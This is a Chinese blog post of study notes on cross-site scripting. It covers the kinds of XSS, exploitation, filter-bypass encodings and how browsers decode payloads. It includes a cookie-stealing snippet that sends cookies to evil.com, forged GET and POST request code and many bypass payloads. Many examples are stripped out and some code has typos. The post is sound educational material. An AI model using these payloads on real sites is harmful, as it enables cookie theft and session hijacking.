• 网络安全(6)


    xss

    1.概念

    跨站脚本攻击,英文全称Cross Site Script.

    ​ xss攻击,通常指黑客通过"HTML注入"篡改了网页,插入了恶意的脚本.从而在用户浏览网页时,控制用户浏览器的一种攻击.

    常见场景

    标签内的xss

    ${Xss}

    属性里面的xss

    事件中的xss

    css里面的xss

    
    ${xss}:javascript:alert(/xss/)
    
    • 1
    • 2
    • 3
    • 4
    ``` Script标签 ``` $username=1" alert(/xss/);// ```

    输入的单引号/双引号被转义 标签内进行突破

    οninput=alert(1) //

    οnchange=alert(1)//

    分类

    xss根据效果不同,分成以下几类:

    反射型xss

    用户的输入,最终会由浏览器反馈给用户

    如http://www.test.com?xs=

    后端页面:

    
    
    • 1
    • 2
    • 3
    • 4

    数据由服务端处理,传回来,最终又反馈到浏览器

    反射型xss利用通常需要黑客诱导用户点击恶意链接等.

    储存型xss

    储存型xss会把用户输入的数据储存到服务端.任何别的用户若访问了带有储存型xss恶意脚本的资源,都会受到侵害.

    比较常见的场景: 黑客写下一篇带有恶意JavaScript代码的博客文章,评论,留言.

    所以访问该文章,评论,留言的用户,浏览器都会执行这段恶意代码

    Dom型xss

    Dom型xss效果与反射型xss类似.成因比较特别.不经过服务端处理,而是由前端的js脚本将用户输入插入到页面

    比如:

    
    
    
        
        
    a
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13

    xss攻击

    利用方式
    通过xss加载恶意代码

    ​ http://www.test.com?xss=

    xss窃取cookie

    var img = document.createElement("img");
    imr.src = "http://www.evil.com?"+escape(document.cookie);
    
    document.body.appendChild(img);
    
    • 1
    • 2
    • 3
    • 4

    这段代码在请求资源时,会携带编码后的cookie进行请求,审查evil.com的日志即可查看到cookie
    也可以在服务器接收

    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    可以利用cookie进行访问网站

    会话劫持SESSION

    xss让管理员添加用户等(构造POST请求,AJAX等)

    获取webshell:利用管理员权限写一句话木马等

    xss构造GET请求

    比如搜狐网站删除某文章的链接是:
    http://blog.sohu.com/manage/entry.do?m=delete&d=156713012

    var img = document.createElement("img");
    imr.src = "	http://blog.sohu.com/manage/entry.do?m=delete&d=156713012";
    document.body.appendChild(img);
    
    • 1
    • 2
    • 3

    即成功构造了GET请求

    xss构造POST请求

    构造表单的方式

    var f = document.createElement("form");
    f.action = "";
    f.method = "post";
    document.body.appendChild(f);
    var i1 = document.createElement("input");
    i1.name = "ck";
    i1.value = "JiUY";
    f. appendchild(i1) :
    var i2. document.createElement ("input");
    i2.name = "mb_text";
    i2.value = "testtesttest";
    f. appendChild(i2);
    
    f.submit();
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14

    直接写HTML代码

    var dd = document.creatElement("div");
    document.body.appendChild(dd);
    dd.innerHTML = 'payloadForm(id=xssform)'
    
    doocument.getElementById("xssform").submit();
    
    • 1
    • 2
    • 3
    • 4
    • 5

    xss钓鱼攻击
    网页挂马

    
    
    • 1

    DOS和DDOS

    
    
    
    • 1
    • 2

    识别用户浏览器,操作系统,安装软件

    xss攻防

    xss Bypass
    大小写绕过zz
    双写绕过
    html实体编码绕过(在href里)link

    过滤了javascript,用html实体编码和url双重编码绕过(先html编码再url)

    仅过滤 ’ 或 " : ‘闭合" , "闭合’
    
    • 1

    输入的单引号/双引号被转义 标签内进行突破

    οninput=alert(1) //

    οnchange=alert(1)//

     输入value; 过滤on 和script
    
    • 1

    伪协议绕过:">click

    支持伪协议的属性 href,lowsrc,bgsound,background,action,dynsr

    空格实体编码–> %0a %0D 等替代空格绕过
    alert(数字)不需要引号
    ()过滤 用``替代
    document.write()绕过 (过滤 () = )
    
    • 1
    • 2
    • 3
    • 4

    document.write(payload) payload进行Unicode编码可以绕过某些过滤

    上述情况下再把 . 过滤
    
    • 1

    setTimeout()函数 setTimeout(jscode) 会执行里面的js代码

    或者top()函数top[“document”][“write”]

    对网站过滤: 公网ip->十进制绕过 127.0.0.1-> 2130706433
    
    利用空格、回车和Tab键绕过限制
    
    如: 
    
    引擎没有把换行符解释为语句的终止符,因为到换行处并不是一个完整的语句,JavaScript 会继续处理发现的内容,直到遇到一个分号或发现语句完整为止。
    
    对标签属性值转码(标签内)
        十进制/16进制
    
    HTML中属性值本身支持ASCII码形式。
    
    根据HTML的属性值支持ASCII码的特性,把XSS代码:
    
    替换成:
    
    
    t–>ascii码 是 116–> t /  都是一样的
    
    :–>ascii码 是58 --> :
    
    还可以把、等字符插入到JavaScript或Vbscript的头部,另外,Tab符的ASCII码	、换行符的
    、回车符的
可以被插入到代码中任意地方。
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23

    全角字符

    IMG标记和 src属性之间没有空格
    
    • 1
    mars
    
    
    • 1
    • 2

    此段代码在 IE 6中能成功执行

    //
    样式表中的/
    /会被浏览器忽略,因此可以运用它来注释字符,通过插入混淆字符绕过过滤

    
    
    alert('XSS')
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    \ 和 \0

    样式标签中的\和结束符\0也是被浏览器忽略的

    @\0im\port’\0ja\vasc\ript:alert(“xss”)’;
    @\i\0m\00p\000o\0000\00000r\000000t"url";

    eval()函数

    该函数可计算字符串,并执行其中的JavaScript代码

    配合16进制

    我们可以使用\连接十六进制字符串,然后使用eval()函数执行十六进制字符串形式的脚本;

    如对alert(‘XSS’)进行十六进制转码后得到:\61\6c\65\72\74\28\27\58\53\53\27\29

    
    
    • 1
    • 2
    • 3

    配合10进制:

    eval()也可以执行 10 进制形式的脚本,但需要配合 String.fromCharCode()函数使用。

    string.formcharcode()用于将字符转为ASCII值

    例如一个正常形式的XSS示例为:

    结合使用eval()和String.fromCharCode()函数后变成:

    样式表也支持分析和解释\连接的十六进制字符串形式,浏览器能正常解释 ``` ``` style属性中的javascript、expression等字符一般会被程序过滤,但经过十六进制编码后则可以逃避过滤 ```
    < /div> ``` **跨站拆分法绕过长度限制** 著名安全研究员剑心曾发布一篇文章叫做《疯狂的跨站之行》,里面讲述了一种特别的XSS利用技巧,就是当应用程序没有过滤XSS关键字符(如<、>)却对输入字符长度有限制的情况下,如何使用“拆分法”执行跨站脚本代码。 当时剑心发现某个网站存在 XSS 漏洞,漏洞出现在评论的联系方式处,但是,这处只能写入30个字符长度,必须的')

    从 XSS Payload 学习浏览器解码

    1.Basics
    (1)

    因为里面没有HTML编码内容,不考虑,其中href内部是URL编码,于是直接丢给URL模块处理,虽然可以解析出来,但是协议无法识别被编码的javascript:,解码失败,不会被执行
    在这里插入图片描述
    URL规定协议,用户名,密码都必须是ASCII,编码就无效,所以无法弹窗
    在这里插入图片描述
    (2)

    先HTML解码,得到

    href中为URL,URL模块可识别为javascript协议,进行URL解码,得到

    由于是javascript协议,解码完给JS模块处理,于是被执行
    (3)

    道理和第一个一样,URL编码“:” javascript不会执行。
    (4)

    <img src=x οnerrοr=alert(4)>

    在这里插入图片描述
    这里包含了HTML编码内容,反过来以开发者的角度思考,HTML编码就是为了显示这些特殊字符,而不干扰正常的DOM解析,所以这里面的内容不会变成一个img元素,也不会被执行

    从HTML解析机制看,在读取

    之后进入数据状态,<会被HTML解码,但不会进入标签开始状态,当然也就不会创建img元素,也就不会执行
    (5)

    里会有HTML解码操作,但不会有子元素 是RCDATA元素(RCDATA elements),可以容纳文本和字符引用,注意不能容纳其他元素,HTML解码得到于是直接显示RCDATA元素(RCDATA elements)包括textarea和title,所以不会弹窗

    在这里插入图片描述
    (6)
    和第五个一样,和里会有HTML解码操作,但不会有子元素,所以不会弹窗<br/> <img src="https://1000bd.com/contentImg/2022/07/30/233400093.png" alt="在这里插入图片描述"/><br/> <strong>Advanced</strong><br/> (7)<code><button οnclick="confirm('7');">Button</button></code><br/> 这里onclick中为标签的属性值(类比2中的href),会被HTML解码,得到<br/> <code><button οnclick="confirm('7');">Button</button></code><br/> <img src="https://1000bd.com/contentImg/2022/07/30/233400231.png" alt="在这里插入图片描述"/><br/> (8)<code><button οnclick="confirm('8\u0027);">Button</button></code>

    onclick中的值会交给JS处理,在JS中只有字符串和标识符能用Unicode表示,也不能编码符号,'显然不行,JS执行失败,所以不会弹窗
    在这里插入图片描述
    (9)
    在这里插入图片描述
    script属于原始文本元素(Raw text elements),只可以容纳文本,注意没有字符引用,于是直接由JS处理,这里全部到作文本,,JS也认不出来,执行失败,所以不能弹窗
    原始文本元素(Raw text elements)有

    (12)
    这里看似将没毛病,但是这里\u0031\u0032在解码的时候会被解码为字符串12,注意是字符串,不是数字,文字显然是需要引号的,JS执行失败
    (13) 编码的 ‘ 是个符号,所以无法弹窗
    (14)
    \u000a在JavaScript里是换行,就是\n,虽然换行了,但是引号都在,没有被编码,能直接执行,所以可以弹窗
    在这里插入图片描述
    (15)
    先HTML解码,得到

    在href中由URL模块处理,解码得到
    javascript:\u0061\u006c\u0065\u0072\u0074(15)
    识别JS协议,然后由JS模块处理,解码得到
    javascript:alert(15)
    显示可以弹窗

    总结:

  • 相关阅读:
    计算机视觉小项目—基于RGB颜色特征的火焰识别
    Bert基础(十八)--Bert实战:NER命名实体识别
    zookeeper
    华为ERP,包含哪些内容?技术的先进性体现在哪里?
    P3959 [NOIP2017 提高组] 宝藏
    利用PerconaTookit工具在线修改表结构
    MIxformerV2的onnx和tensorrt加速
    Amazon云计算AWS之[2]弹性计算云EC2
    有关使用HttpServletRequest的Cookie的设置和获取
    udev 挂载SD卡 USB设备
  • 原文地址:https://blog.csdn.net/weixin_52776876/article/details/126012062